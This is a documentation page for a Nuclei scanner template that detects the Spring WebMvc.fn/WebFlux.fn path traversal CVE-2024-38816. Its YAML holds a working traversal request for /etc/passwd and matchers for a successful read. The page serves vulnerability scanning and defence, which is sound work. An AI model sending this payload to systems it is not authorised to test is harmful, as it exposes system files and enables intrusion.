Skip to content
Nuclei Templates

WebMvc.fn/WebFlux.fn - Path Traversal

ID: CVE-2024-38816

Severity: high

Author: pussycat0x

Tags: cve,cve2024,spring

Description

Section titled “Description”

Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.

YAML Source

Section titled “YAML Source”
id: CVE-2024-38816


info:
  name: WebMvc.fn/WebFlux.fn - Path Traversal
  author: pussycat0x
  severity: high
  description: |
    Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38816
    - https://github.com/masa42/CVE-2024-38816-PoC
    - https://spring.io/security/cve-2024-38816
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38816
    epss-score: 0.00043
    epss-percentile: 0.09632
  tags: cve,cve2024,spring


http:
  - method: GET
    path:
      - "{{BaseURL}}/static/link/%2e%2e/etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: regex
        part: content_type
        regex:
          - "application/octet-stream"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502207178fa0d5fb65021ae570ea95066bddced6420fdec0e9d459c989c9a29ba2de8022100f12ab4b8c4c45cb9c9ef6ebfe581280347956f98ddb47b389ed2abd66db48bd0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-38816.yaml"

View on Github